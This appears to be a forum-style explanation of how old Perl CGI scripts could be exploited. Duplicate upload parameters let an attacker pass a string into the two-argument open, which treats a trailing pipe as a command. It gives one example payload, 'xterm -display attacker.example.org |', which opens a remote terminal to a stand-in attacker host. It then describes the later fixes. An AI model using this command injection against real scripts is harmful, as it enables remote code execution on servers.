Old versions of CGI could be tricked into returning something besides a file handle to $cgi->param( 'file' ). I imagine the exploit worked by using multiple "file" parameters in request. Where the first would be a text string and second would be a uploaded file. The returns of cgi->upload and cgi->param are normally arrays but in scalar context return just the first reverent value. So $cgi->upload( 'file' ) would return a true value but $cgi->param( 'file' ) would return the text from the request as it was before the upload. Perl has two basic forms of the open function. The 2 argument and 3 argument versions. The 3 argument version works more like the C standard system call open, but the two argument function respects piping and redirect characters. So if you got perl to take that user controlled string and treat it as a piped file name say "xterm -display attacker.example.org |" and the perl script just blindly opens that as a filename using the two argument form. ( Hint <...> uses the two argument form internally ) then you can pretty much get the script to run what ever you want. It's one of the reasons that CGI changed how upload files work in current versions, and perl handles <$var> differently than it used to. And also has the <<>> form which does the 3 argument version of open which treats names always as just filenames instead of possibly pipes etc.